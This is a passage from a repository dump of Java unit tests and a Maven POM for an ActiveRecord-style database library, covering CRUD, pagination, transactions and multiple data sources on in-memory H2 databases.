testDbExceptionOnInvalidSql() {\n        Db.execute(\"INVALID SQL STATEMENT\");\n    }\n\n    // ==================== 非标主键表（sys_config）测试 ====================\n\n    @Test\n    public void testNonAutoIncrementPrimaryKey() {\n        Record config = new Record();\n        config.set(\"config_key\", \"site.name\");\n        config.set(\"config_value\", \"测试站点\");\n        boolean saved = Db.save(\"sys_config\", \"config_key\", config);\n        assertTrue(saved);\n\n        Record found = Db.findById(\"sys_config\", \"config_key\", \"site.name\");\n        assertNotNull(found);\n        assertEquals(\"测试站点\", found.getStr(\"CONFIG_VALUE\"));\n    }\n\n    @Test\n    public void testUpdateNonAutoIncrementPK() {\n        Record config = new Record();\n        config.set(\"config_key\", \"app.version\");\n        config.set(\"config_value\", \"1.0\");\n        Db.save(\"sys_config\", \"config_key\", config);\n\n        config.set(\"config_value\", \"2.0\");\n        boolean updated = Db.update(\"sys_config\", \"config_key\", config);\n        assertTrue(updated);\n\n        Record found = Db.findById(\"sys_config\", \"config_key\", \"app.version\");\n        assertEquals(\"2.0\", found.getStr(\"CONFIG_VALUE\"));\n    }\n\n    // ==================== 辅助方法 ====================\n\n    private void insertTestUsers(int count) {\n        for (int i = 1; i <= count; i++) {\n            Db.execute(\"INSERT INTO user_info(user_name, age, email) VALUES(?, ?, ?)\",\n                    new Object[]{\"用户\" + i, 20 + i, \"user\" + i + \"@test.com\"});\n        }\n    }\n\n    // ==================== 测试用实体类 ====================\n\n    /**\n     * 普通实体（类名转下划线作为表名）\n     */\n    public static class UserInfo {\n        private Long id;\n        private String userName;\n        private int age;\n        private String email;\n\n        public Long getId() { return id; }\n        public void setId(Long id) { this.id = id; }\n        public String getUserName() { return userName; }\n        public void setUserName(String userName) { this.userName = userName; }\n        public int getAge() { return age; }\n        public void setAge(int age) { this.age = age; }\n        public String getEmail() { return email; }\n        public void setEmail(String email) { this.email = email; }\n    }\n\n    /**\n     * 带JPA注解的实体（@Table指定表名, @Column指定列名）\n     */\n    @javax.persistence.Table(name = \"t_user\")\n    public static class AnnotatedUser {\n        @javax.persistence.Id\n        private Long id;\n        private String userName;\n        @javax.persistence.Column(name = \"email_address\")\n        private String email;\n        @javax.persistence.Transient\n        private String tempField; // 应被跳过\n\n        public Long getId() { return id; }\n        public void setId(Long id) { this.id = id; }\n        public String getUserName() { return userName; }\n        public void setUserName(String userName) { this.userName = userName; }\n        public String getEmail() { return email; }\n        public void setEmail(String email) { this.email = email; }\n        public String getTempField() { return tempField; }\n        public void setTempField(String tempField) { this.tempField = tempField; }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/test/java/io/github/wujun728/db/DbTest.java",
    "content": "// 已移除 - DataSourcePool功能已合并到Db.java，测试已迁移到DbActiveRecordTest.java\n// 原始代码引用了已移除的DataSourcePool类和已重构的API\n// 请使用DbActiveRecordTest.java作为新的测试入口\npackage io.github.wujun728.db;\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/test/java/io/github/wujun728/db/ModelTest.java",
    "content": "package io.github.wujun728.db;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport io.github.wujun728.db.record.*;\nimport org.junit.*;\n\nimport javax.persistence.Id;\nimport javax.persistence.Table;\nimport javax.sql.DataSource;\nimport java.util.List;\nimport java.util.Map;\n\nimport static org.junit.Assert.*;\n\n/**\n * Model 模式单元测试\n * 使用 H2 内存数据库，覆盖：\n * 1. 链式 set/get 操作\n * 2. save / update / delete / deleteById\n * 3. findById / find / findFirst / findAll\n * 4. 分页查询 paginate\n * 5. Record 互转\n * 6. 多数据源 use()\n * 7. @Table / @Id 注解解析\n * 8. 事务支持\n */\npublic class ModelTest {\n\n    private static DataSource dataSource;\n\n    // ==================== Model 定义 ====================\n\n    @Table(name = \"user_info\")\n    public static class UserModel extends Model<UserModel> {\n        public static final UserModel dao = new UserModel().dao();\n    }\n\n    /** 无 @Table 注解，表名由类名推导: order_item */\n    public static class OrderItem extends Model<OrderItem> {\n        public static final OrderItem dao = new OrderItem().dao();\n    }\n\n    /** 带 @Id 注解，指定主键字段 */\n    @Table(name = \"sys_config\")\n    public static class SysConfig extends Model<SysConfig> {\n        @Id\n        private String configKey;\n        public static final SysConfig dao = new SysConfig().dao();\n    }\n\n    // ==================== 初始化 ====================\n\n    @BeforeClass\n    public static void setup() {\n        DruidDataSource ds = new DruidDataSource();\n        ds.setUrl(\"jdbc:h2:mem:model_test;DB_CLOSE_DELAY=-1;MODE=MySQL\");\n        ds.setUsername(\"sa\");\n        ds.setPassword(\"\");\n        ds.setDriverClassName(\"org.h2.Driver\");\n        dataSource = ds;\n        Db.init(dataSource);\n\n        Db.execute(\"CREATE TABLE IF NOT EXISTS user_info (\" +\n                \"id BIGINT AUTO_INCREMENT PRIMARY KEY, \" +\n                \"user_name VARCHAR(100), \" +\n                \"age INT, \" +\n                \"email VARCHAR(200), \" +\n                \"create_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP\" +\n                \")\");\n\n        Db.execute(\"CREATE TABLE IF NOT EXISTS order_item (\" +\n                \"id BIGINT AUTO_INCREMENT PRIMARY KEY, \" +\n                \"product_name VARCHAR(200), \" +\n                \"quantity INT, \" +\n                \"price DECIMAL(10,2)\" +\n                \")\");\n\n        Db.execute(\"CREATE TABLE IF NOT EXISTS sys_config (\" +\n                \"config_key VARCHAR(100) PRIMARY KEY, \" +\n                \"config_value VARCHAR(500)\" +\n                \")\");\n    }\n\n    @Before\n    public void beforeEach() {\n        Db.execute(\"DELETE FROM user_info\");\n        Db.execute(\"DELETE FROM order_item\");\n        Db.execute(\"DELETE FROM sys_config\");\n        Db.execute(\"ALTER TABLE user_info ALTER COLUMN id RESTART WITH 1\");\n        Db.execute(\"ALTER TABLE order_item ALTER COLUMN id RESTART WITH 1\");\n    }\n\n    @AfterClass\n    public static void teardown() {\n        Db.execute(\"DROP TABLE IF EXISTS user_info\");\n        Db.execute(\"DROP TABLE IF EXISTS order_item\");\n        Db.execute(\"DROP TABLE IF EXISTS sys_config\");\n    }\n\n    // ==================== 链式操作测试 ====================\n\n    @Test\n    public void testChainSetAndGet() {\n        UserModel user = new UserModel()\n                .set(\"user_name\", \"张三\")\n                .set(\"age\", 25)\n                .set(\"email\", \"zhangsan@test.com\");\n\n        assertEquals(\"张三\", user.get(\"user_name\"));\n        assertEquals(25, (int) user.getInt(\"age\"));\n        assertEquals(\"zhangsan@test.com\", user.getStr(\"email\"));\n    }\n\n    @Test\n    public void testGetWithDefault() {\n        UserModel user = new UserModel().set(\"age\", 20);\n        assertEquals(20, (int) user.getInt(\"age\"));\n        assertEquals(\"default\", user.get(\"missing\", \"default\"));\n    }\n\n    @Test\n    public void testRemoveAndClear() {\n        UserModel user = new UserModel()\n                .set(\"a\", 1).set(\"b\", 2).set(\"c\", 3);\n\n        user.remove(\"a\");\n        assertNull(user.get(\"a\"));\n        assertEquals(2, user.getAttrs().size());\n\n        user.clear();\n        assertEquals(0, user.getAttrs().size());\n    }\n\n    @Test\n    public void testPutMap() {\n        java.util.Map<String, Object> map = new java.util.HashMap<>();\n        map.put(\"user_name\", \"批量设置\");\n        map.put(\"age\", 30);\n\n        UserModel user = new UserModel().put(map);\n        assertEquals(\"批量设置\", user.getStr(\"user_name\"));\n        assertEquals(30, (int) user.getInt(\"age\"));\n    }\n\n    @Test\n    public void testGetAttrNamesAndValues() {\n        UserModel user = new UserModel().set(\"a\", 1).set(\"b\", 2);\n        assertEquals(2, user.getAttrNames().length);\n        assertEquals(2, user.getAttrValues().length);\n    }\n\n    // ==================== CRUD 测试 ====================\n\n    @Test\n    public void testSave() {\n        boolean result = new UserModel()\n                .set(\"user_name\", \"张三\")\n                .set(\"age\", 25)\n                .set(\"email\", \"zhangsan@test.com\")\n                .save();\n\n        assertTrue(result);\n        assertEquals(1, Db.queryForInt(\"SELECT count(*) FROM user_info\"));\n    }\n\n    @Test\n    public void testSaveAndFindById() {\n        new UserModel()\n                .set(\"user_name\", \"李四\")\n                .set(\"age\", 30)\n                .set(\"email\", \"lisi@test.com\")\n                .save();\n\n        UserModel found = UserModel.dao.findById(1);\n        assertNotNull(found);\n        // H2 返回大写列名\n        assertEquals(\"李四\", found.getStr(\"USER_NAME\"));\n        assertEquals(30, (int) found.getInt(\"AGE\"));\n    }\n\n    @Test\n    public void testUpdate() {\n        new UserModel()\n                .set(\"user_name\", \"原名\")\n                .set(\"age\", 20)\n                .save();\n\n        UserModel user = UserModel.dao.findById(1);\n        assertNotNull(user);\n\n        boolean updated = user.set(\"USER_NAME\", \"新名\").update();\n        assertTrue(updated);\n\n        UserModel reloaded = UserModel.dao.findById(1);\n        assertEquals(\"新名\", reloaded.getStr(\"USER_NAME\"));\n    }\n\n    @Test\n    public void testDelete() {\n        new UserModel()\n                .set(\"user_name\", \"待删除\")\n                .set(\"age\", 20)\n                .save();\n\n        UserModel user = UserModel.dao.findById(1);\n        assertNotNull(user);\n\n        boolean deleted = user.delete();\n        assertTrue(deleted);\n        assertEquals(0, Db.queryForInt(\"SELECT count(*) FROM user_info\"));\n    }\n\n    @Test\n    public void testDeleteById() {\n        new UserModel().set(\"user_name\", \"用户1\").set(\"age\", 20).save();\n        new UserModel().set(\"user_name\", \"用户2\").set(\"age\", 21).save();\n\n        boolean deleted = UserModel.dao.deleteById(1);\n        assertTrue(deleted);\n        assertEquals(1, Db.queryForInt(\"SELECT count(*) FROM user_info\"));\n    }\n\n    @Test\n    public void testDeleteByIdNotFound() {\n        boolean deleted = UserModel.dao.deleteById(999);\n        assertFalse(deleted);\n    }\n\n    // ==================== 查询测试 ====================\n\n    @Test\n    public void testFind() {\n        insertUsers(5);\n        List<UserModel> users = UserModel.dao.find(\"SELECT * FROM user_info WHERE AGE > ?\", 22);\n        assertNotNull(users);\n        assertTrue(users.size() > 0);\n        // 验证返回的是 UserModel 类型\n        for (UserModel u : users) {\n            assertNotNull(u.getStr(\"USER_NAME\"));\n        }\n    }\n\n    @Test\n    public void testFindNoArgs() {\n        insertUsers(3);\n        List<UserModel> users = UserModel.dao.find(\"SELECT * FROM user_info\");\n        assertEquals(3, users.size());\n    }\n\n    @Test\n    public void testFindFirst() {\n        insertUsers(3);\n        UserModel user = UserModel.dao.findFirst(\"SELECT * FROM user_info ORDER BY id\");\n        assertNotNull(user);\n        assertEquals(\"用户1\", user.getStr(\"USER_NAME\"));\n    }\n\n    @Test\n    public void testFindFirstNoResult() {\n        UserModel user = UserModel.dao.findFirst(\"SELECT * FROM user_info WHERE id = ?\", 999);\n        assertNull(user);\n    }\n\n    @Test\n    public void testFindAll() {\n        insertUsers(4);\n        List<UserModel> users = UserModel.dao.findAll();\n        assertEquals(4, users.size());\n    }\n\n    @Test\n    public void testFindByIdNotFound() {\n        UserModel user = UserModel.dao.findById(999);\n        assertNull(user);\n    }\n\n    // ==================== 分页测试 ====================\n\n    @Test\n    public void testPaginate() {\n        insertUsers(25);\n        Page<UserModel> page = UserModel.dao.paginate(1, 10, \"SELECT *\", \"FROM user_info ORDER BY id\");\n        assertNotNull(page);\n        assertEquals(10, page.getList().size());\n        assertEquals(1, page.getPageNumber());\n        assertEquals(10, page.getPageSize());\n        assertEquals(25, page.getTotalRow());\n        assertEquals(3, page.getTotalPage());\n\n        // 验证第二页\n        Page<UserModel> page2 = UserModel.dao.paginate(2, 10, \"SELECT *\", \"FROM user_info ORDER BY id\");\n        assertEquals(10, page2.getList().size());\n        assertEquals(2, page2.getPageNumber());\n    }\n\n    @Test\n    public void testPaginateWithParams() {\n        insertUsers(20);\n        Page<UserModel> page = UserModel.dao.paginate(1, 5, \"SELECT *\", \"FROM user_info WHERE AGE > ?\", 22);\n        assertNotNull(page);\n        assertTrue(page.getList().size() <= 5);\n    }\n\n    @Test\n    public void testPaginateByFullSql() {\n        insertUsers(15);\n        Page<UserModel> page = UserModel.dao.paginateByFullSql(1, 5,\n                \"SELECT count(*) FROM user_info\",\n                \"SELECT * FROM user_info ORDER BY id\");\n        assertNotNull(page);\n        assertEquals(5, page.getList().size());\n        assertEquals(15, page.getTotalRow());\n    }\n\n    // ==================== Record 互转测试 ====================\n\n    @Test\n    public void testToRecord() {\n        UserModel user = new UserModel()\n                .set(\"user_name\", \"张三\")\n                .set(\"age\", 25);\n\n        Record record = user.toRecord();\n        assertNotNull(record);\n        assertEquals(\"张三\", record.getStr(\"user_name\"));\n        assertEquals(25, (int) record.getInt(\"age\"));\n    }\n\n    @Test\n    public void testRecordToModel() {\n        insertUsers(1);\n        Record record = Db.findById(\"user_info\", \"id\", 1);\n        assertNotNull(record);\n\n        UserModel user = record.toModel(UserModel.class);\n        assertNotNull(user);\n        assertEquals(\"用户1\", user.getStr(\"USER_NAME\"));\n    }\n\n    // ==================== @Table / @Id 注解测试 ====================\n\n    @Test\n    public void testTableAnnotation() {\n        // UserModel 使用 @Table(name=\"user_info\")\n        boolean saved = new UserModel()\n                .set(\"user_name\", \"注解测试\")\n                .set(\"age\", 30)\n                .save();\n        assertTrue(saved);\n        assertEquals(1, Db.queryForInt(\"SELECT count(*) FROM user_info\"));\n    }\n\n    @Test\n    public void testClassNameAsTableName() {\n        // OrderItem 无 @Table 注解，表名由类名推导: order_item\n        boolean saved = new OrderItem()\n                .set(\"product_name\", \"商品A\")\n                .set(\"quantity\", 10)\n                .set(\"price\", 99.9)\n                .save();\n        assertTrue(saved);\n\n        OrderItem found = OrderItem.dao.findById(1);\n        assertNotNull(found);\n        assertEquals(\"商品A\", found.getStr(\"PRODUCT_NAME\"));\n    }\n\n    @Test\n    public void testIdAnnotation() {\n        // SysConfig 使用 @Id 标注 configKey 字段，主键应解析为 config_key\n        boolean saved = new SysConfig()\n                .set(\"config_key\", \"site.name\")\n                .set(\"config_value\", \"测试站点\")\n                .save();\n        assertTrue(saved);\n\n        SysConfig found = SysConfig.dao.findById(\"site.name\");\n        assertNotNull(found);\n        assertEquals(\"测试站点\", found.getStr(\"CONFIG_VALUE\"));\n    }\n\n    @Test\n    public void testIdAnnotationUpdate() {\n        new SysConfig()\n                .set(\"config_key\", \"app.version\")\n                .set(\"config_value\", \"1.0\")\n                .save();\n\n        SysConfig config = SysConfig.dao.findById(\"app.version\");\n        config.set(\"CONFIG_VALUE\", \"2.0\").update();\n\n        SysConfig reloaded = SysConfig.dao.findById(\"app.version\");\n        assertEquals(\"2.0\", reloaded.getStr(\"CONFIG_VALUE\"));\n    }\n\n    @Test\n    public void testIdAnnotationDelete() {\n        new SysConfig()\n                .set(\"config_key\", \"temp.key\")\n                .set(\"config_value\", \"temp\")\n                .save();\n\n        boolean deleted = SysConfig.dao.deleteById(\"temp.key\");\n        assertTrue(deleted);\n        assertNull(SysConfig.dao.findById(\"temp.key\"));\n    }\n\n    // ==================== 多数据源测试 ====================\n\n    @Test\n    public void testUseMultiDatasource() {\n        DruidDataSource ds2 = new DruidDataSource();\n        ds2.setUrl(\"jdbc:h2:mem:model_test2;DB_CLOSE_DELAY=-1;MODE=MySQL\");\n        ds2.setUsername(\"sa\");\n        ds2.setPassword(\"\");\n        ds2.setDriverClassName(\"org.h2.Driver\");\n        Db.init(\"second\", ds2);\n\n        Db.use(\"second\").execute(\"CREATE TABLE IF NOT EXISTS user_info (\" +\n                \"id BIGINT AUTO_INCREMENT PRIMARY KEY, \" +\n                \"user_name VARCHAR(100), \" +\n                \"age INT, \" +\n                \"email VARCHAR(200)\" +\n                \")\");\n\n        // 在第二个数据源上保存\n        new UserModel().use(\"second\")\n                .set(\"user_name\", \"从库用户\")\n                .set(\"age\", 33)\n                .save();\n\n        // 从第二个数据源查询\n        List<UserModel> users = UserModel.dao.use(\"second\")\n                .find(\"SELECT * FROM user_info\");\n        assertEquals(1, users.size());\n        assertEquals(\"从库用户\", users.get(0).getStr(\"USER_NAME\"));\n\n        // 主数据源应为空\n        assertEquals(0, UserModel.dao.findAll().size());\n\n        // 清理\n        Db.use(\"second\").execute(\"DROP TABLE IF EXISTS user_info\");\n    }\n\n    // ==================== 事务测试 ====================\n\n    @Test\n    public void testTxCommit() {\n        boolean result = UserModel.dao.tx(() -> {\n            new UserModel().set(\"user_name\", \"事务1\").set(\"age\", 20).save();\n            new UserModel().set(\"user_name\", \"事务2\").set(\"age\", 21).save();\n            return true;\n        });\n        assertTrue(result);\n        assertEquals(2, Db.queryForInt(\"SELECT count(*) FROM user_info\"));\n    }\n\n    @Test\n    public void testTxRollback() {\n        boolean result = UserModel.dao.tx(() -> {\n            new UserModel().set(\"user_name\", \"事务1\").set(\"age\", 20).save();\n            return false; // 回滚\n        });\n        assertFalse(result);\n        assertEquals(0, Db.queryForInt(\"SELECT count(*) FROM user_info\"));\n    }\n\n    // ==================== equals/hashCode/toString 测试 ====================\n\n    @Test\n    public void testToString() {\n        UserModel user = new UserModel().set(\"user_name\", \"张三\").set(\"age\", 25);\n        String str = user.toString();\n        assertTrue(str.contains(\"UserModel\"));\n        assertTrue(str.contains(\"user_name\"));\n        assertTrue(str.contains(\"张三\"));\n    }\n\n    @Test\n    public void testEquals() {\n        UserModel u1 = new UserModel().set(\"id\", 1L).set(\"name\", \"test\");\n        UserModel u2 = new UserModel().set(\"id\", 1L).set(\"name\", \"test\");\n        UserModel u3 = new UserModel().set(\"id\", 2L).set(\"name\", \"other\");\n\n        assertEquals(u1, u2);\n        assertNotEquals(u1, u3);\n        assertNotEquals(u1, \"not a model\");\n    }\n\n    @Test\n    public void testHashCode() {\n        UserModel u1 = new UserModel().set(\"id\", 1L);\n        UserModel u2 = new UserModel().set(\"id\", 1L);\n        assertEquals(u1.hashCode(), u2.hashCode());\n    }\n\n    // ==================== 辅助方法 ====================\n\n    private void insertUsers(int count) {\n        for (int i = 1; i <= count; i++) {\n            new UserModel()\n                    .set(\"user_name\", \"用户\" + i)\n                    .set(\"age\", 20 + i)\n                    .set(\"email\", \"user\" + i + \"@test.com\")\n                    .save();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/test/java/io/github/wujun728/db/RecordUtilTest.java",
    "content": "/* 已移除 - 功能已合并到DbActiveRecordTest.java，MapKit已合并到RecordUtil\npackage io.github.wujun728.db;\n\nimport cn.hutool.json.JSONConfig;\nimport cn.hutool.json.JSONUtil;\nimport cn.hutool.log.StaticLog;\nimport io.github.wujun728.db.record.Record;\nimport io.github.wujun728.db.test.User;\nimport io.github.wujun728.db.utils.MapKit;\nimport io.github.wujun728.db.utils.RecordUtil;\n\nimport java.util.*;\n\npublic class RecordUtilTest {\n\n    public static void main(String[] args) {\n        testSingle();\n        testList();\n    }\n    public static void testList() {\n        Map map = new HashMap<>();\n        map.put(\"id\", 1);\n        map.put(\"userName\", \"zhangsan\");\n        map.put(\"firstAdress\", \"fdafdsa111\");\n        map.put(\"age\", 111);\n        map.put(\"createData\", new Date());\n        List<Map<String, Object>> mapList = new ArrayList<>();\n        mapList.add(map);\n\n        List<Record> record1ss = RecordUtil.mapToRecords(mapList);\n        printLog(\"mapToRecords record1ss = \", record1ss);\n\n        List<Map<String, Object>> map1ss = RecordUtil.recordToMaps(record1ss);\n        printLog(\"recordToMaps map1ss = \", map1ss);\n\n        List<User> user1ss = MapKit.mapToBeans(map1ss, User.class);\n        printLog(\"mapToBeans user1ss = \", user1ss);\n\n        List<User> user22ss = RecordUtil.recordToBeans(record1ss, User.class);\n        printLog(\"recordToBeans user22ss  = \", user22ss);\n\n        List<Map<String, Object>> map22ss = MapKit.beanToMaps(user1ss);\n        printLog(\"beanToMaps map22ss = \", map22ss);\n\n        List<Record> record33 = RecordUtil.beanToRecords(user1ss);\n        printLog(\"beanToRecords record33 = \", record33);\n    }\n    public static void testSingle() {\n        Map map = new HashMap<>();\n        map.put(\"id\", 1);\n        map.put(\"userName\", \"zhangsan\");\n        map.put(\"firstAdress\", \"fdafdsa111\");\n        map.put(\"age\", 111);\n        map.put(\"createData\", new Date());\n        Record record1 = RecordUtil.mapToRecord(map);\n        printLog(\"mapToRecord record1 = \", record1);\n\n        Map map1 = RecordUtil.recordToMap(record1);\n        printLog(\"recordToMap map1 = \", map1);\n\n        User user1 = MapKit.mapToBean(map1, User.class);\n        printLog(\"mapToBean user1 = \", user1);\n\n        User user22 = RecordUtil.recordToBean(record1, User.class);\n        printLog(\"recordToBean user22  = \", user22);\n\n        Map map22 = MapKit.beanToMap(user1);\n        printLog(\"beanToMap user1 = \", map22);\n\n        Record record33 = RecordUtil.beanToRecord(user1);\n        printLog(\"beanToRecord user1 = \", record33);\n    }\n\n    static void printLog(String info, Object obj) {\n        StaticLog.info(info + JSONUtil.toJsonPrettyStr(JSONUtil.toJsonStr(obj,\n                JSONConfig.create().setDateFormat(\"yyyy-MM-dd HH:mm:ss\").setIgnoreNullValue(false))));\n    }\n}\n*/\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/test/java/io/github/wujun728/db/test/DruidPageSqlTest.java",
    "content": "/*\n * Copyright (c) 2019-2029, Dreamlu 卢春梦 (596392912@qq.com & www.dreamlu.net).\n * <p>\n * Licensed under the GNU LESSER GENERAL PUBLIC LICENSE 3.0;\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p>\n * http://www.gnu.org/licenses/lgpl.html\n * <p>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.test;\n\nimport com.alibaba.druid.DbType;\nimport com.alibaba.druid.sql.PagerUtils;\n\n/**\n * druid 测试\n */\npublic class DruidPageSqlTest {\n\n\tpublic static void main(String[] args) {\n\t\tString sql = \"select * from xxx where 1=2 order by xx\";\n\t\tString sqlCount = PagerUtils.count(sql, DbType.mysql);\n\t\tSystem.out.println(sqlCount);\n\t\tString limit = PagerUtils.limit(sql, DbType.mysql, 2, 20);\n\t\tSystem.out.println(limit);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/test/java/io/github/wujun728/db/test/TestDb.java",
    "content": "/* 已移除 - DataSourcePool功能已合并到Db.java，测试已迁移到DbActiveRecordTest.java\npackage io.github.wujun728.db.test;\n\nimport cn.hutool.json.JSONUtil;\nimport cn.hutool.log.StaticLog;\nimport io.github.wujun728.db.record.Db;\nimport io.github.wujun728.db.record.Record;\nimport io.github.wujun728.db.utils.DataSourcePool;\n\nimport javax.sql.DataSource;\n\nimport static io.github.wujun728.db.utils.DataSourcePool.main;\n\n\npublic class TestDb {\n\n    public static void main(String[] args) {\n        String url = \"jdbc:mysql://localhost:3306/db_qixing_bk?useUnicode=true&characterEncoding=UTF-8&useSSL=true&serverTimezone=UTC&useInformationSchema=true\";\n        String username = \"root\";\n        String password = \"\";\n        String driver = \"com.mysql.cj.jdbc.Driver\";\n        DataSource ds = DataSourcePool.init(\"main\",url,username,password,driver);\n        Db.init(main,ds);\n        Record record = Db.use().findById(\"biz_mail\",2);\n        Record record2 = Db.use().findById(\"api_sql\",\"id,sql_id\",\"getBizTests\");\n    }\n\n\n    public static void main1(String[] args) {\n        String url = \"jdbc:mysql://localhost:3306/db_qixing_bk?useUnicode=true&characterEncoding=UTF-8&useSSL=true&serverTimezone=UTC&useInformationSchema=true\";\n        String username = \"root\";\n        String password = \"\";\n        String driver = \"com.mysql.cj.jdbc.Driver\";\n        DataSource dataSource = DataSourcePool.init(\"main\",url,username,password);\n        Db.init(main,dataSource);\n        Record record = Db.use().findById(\"biz_mail\",new Object[]{2,\"getBizTests\"});\n        StaticLog.info(JSONUtil.toJsonPrettyStr(record));\n    }\n}\n*/\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/test/java/io/github/wujun728/db/test/User.java",
    "content": "package io.github.wujun728.db.test;\n\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport lombok.Data;\n\nimport javax.persistence.Column;\nimport javax.persistence.Id;\nimport java.util.Date;\n\n@Data\npublic class User {\n\n\t@Id\n\t@TableId(value = \"id\")\n\tprivate Long id;\n\tprivate String userName;\n\t@Column(name = \"first_adress_\")\n\tprivate String firstAdress;\n\tprivate int age;\n\n\t@Column(name = \"create_date_\")\n\t@TableField(value = \"create_date_\")\n\tprivate Date createData;\n\t@TableField(exist = false)\n\tprivate String testName;\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-db-activerecord2</artifactId>\n    <version>1.0.25</version>\n    <packaging>jar</packaging>\n    <name>jun-db-activerecord2</name>\n    <description>dynamic sql engine tool</description>\n    <url>https://github.com/wujun728/jun-spring-boot-starter/jun-db-activerecord</url>\n    \n    \n   \t<properties>\n\t\t<java.version>1.8</java.version>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <maven.compiler.source>1.8</maven.compiler.source>\n        <maven.compiler.target>1.8</maven.compiler.target>\n        <jun.version>1.0.25</jun.version>\n        <spring-boot.version>2.5.14</spring-boot.version>\n        <spring-cloud.version>2020.0.6</spring-cloud.version>\n        <lombok.version>1.18.30</lombok.version>\n        <hutool.version>5.8.25</hutool.version>\n        <jackson.version>2.13.4</jackson.version>\n        <druid.version>1.2.24</druid.version>\n        <commons-lang3.version>3.13.0</commons-lang3.version>\n        <jfinal.version>5.1.2</jfinal.version>\n        <fastjson2.version>2.0.37</fastjson2.version>\n        <ehcache.version>2.10.9.2</ehcache.version>\n        <mysql-connector.version>8.0.33</mysql-connector.version>\n        <slf4j.version>1.7.25</slf4j.version>\n        <logback.version>1.2.3</logback.version>\n        <mybatis-plus.version>3.5.9</mybatis-plus.version>\n        <javax.servlet-api.version>4.0.1</javax.servlet-api.version>\n        <mica-auto.version>2.3.2</mica-auto.version>\n\t</properties>\n\n    <dependencyManagement>\n        <dependencies>\n            <dependency>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-dependencies</artifactId>\n                <version>${spring-boot.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework.cloud</groupId>\n                <artifactId>spring-cloud-dependencies</artifactId>\n                <version>${spring-cloud.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n        </dependencies>\n    </dependencyManagement>\n\n    <dependencies>\n        <dependency>\n            <groupId>dom4j</groupId>\n            <artifactId>dom4j</artifactId>\n            <version>1.6.1</version>\n        </dependency>\n        <dependency>\n            <groupId>ognl</groupId>\n            <artifactId>ognl</artifactId>\n            <version>2.7.3</version>\n        </dependency>\n        <dependency>\n            <groupId>com.jfinal</groupId>\n            <artifactId>enjoy</artifactId>\n            <version>5.1.2</version>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.fastjson2</groupId>\n            <artifactId>fastjson2</artifactId>\n            <version>2.0.37</version>\n        </dependency>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>1.18.30</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/org.slf4j/slf4j-api -->\n        <dependency>\n            <groupId>org.slf4j</groupId>\n            <artifactId>slf4j-api</artifactId>\n            <version>1.7.25</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/ch.qos.logback/logback-classic -->\n        <dependency>\n            <groupId>ch.qos.logback</groupId>\n            <artifactId>logback-classic</artifactId>\n            <version>1.2.3</version>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid</artifactId>\n            <version>1.2.24</version>\n        </dependency>\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n            <version>5.8.25</version>\n        </dependency>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-lang3</artifactId>\n            <version>3.13.0</version>\n            <scope>compile</scope>\n        </dependency>\n        <!--<dependency>\n            <groupId>com.jfinal</groupId>\n            <artifactId>activerecord</artifactId>\n            <version>5.1.2</version>\n        </dependency>-->\n        <dependency>\n            <groupId>com.jfinal</groupId>\n            <artifactId>enjoy</artifactId>\n            <version>5.1.2</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/com.mysql/mysql-connector-j -->\n        <dependency>\n            <groupId>com.mysql</groupId>\n            <artifactId>mysql-connector-j</artifactId>\n            <version>8.0.33</version>\n            <scope>runtime</scope>\n        </dependency>\n        <dependency>\n            <groupId>net.sf.ehcache</groupId>\n            <artifactId>ehcache</artifactId>\n            <version>2.10.9.2</version>\n            <scope>compile</scope>\n        </dependency>\n        <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>javax.servlet-api</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.aspectj</groupId>\n            <artifactId>aspectjweaver</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-databind</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>net.dreamlu</groupId>\n            <artifactId>mica-auto</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-autoconfigure</artifactId>\n        </dependency>\n        <dependency>\n            